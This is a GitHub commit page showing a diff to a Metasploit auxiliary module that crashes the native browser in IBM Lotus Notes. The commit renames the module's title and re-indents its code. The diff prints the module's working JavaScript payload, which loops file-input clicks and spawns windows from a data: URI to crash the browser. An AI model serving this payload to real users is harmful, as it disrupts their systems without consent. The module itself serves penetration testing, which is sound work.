Skip to content

Commit 9c16da9

Browse files
authored
Update ibm_lotus_notes2.rb
1 parent 80aba72 commit 9c16da9

File tree

1 file changed

+12
-12
lines changed

1 file changed

+12
-12
lines changed

modules/auxiliary/dos/http/ibm_lotus_notes2.rb

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ def initialize(info = {})
1010
super(
1111
update_info(
1212
info,
13-
'Name' => "IBM Notes encodeURI DOS",
13+
'Name' => "IBM Notes Denial Of Service",
1414
'Description' => %q(
1515
This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.
1616
If successful, the browser will crash after viewing the webpage.
@@ -46,17 +46,17 @@ def setup
4646
f.click();
4747
setInterval("f.click()", 1);
4848
setInterval(function(){
49-
for (var k in kins) {
50-
if (kins[k] && kins[k].status === undefined) {
51-
kins[k].close();
52-
delete kins[k];
53-
}
54-
}
55-
w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
56-
if (w) {
57-
kins[i] = w;
58-
i++;
59-
}
49+
for (var k in kins) {
50+
if (kins[k] && kins[k].status === undefined) {
51+
kins[k].close();
52+
delete kins[k];
53+
}
54+
}
55+
w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
56+
if (w) {
57+
kins[i] = w;
58+
i++;
59+
}
6060
}, 1);
6161
</script>
6262
</body></html>

0 commit comments

Comments
 (0)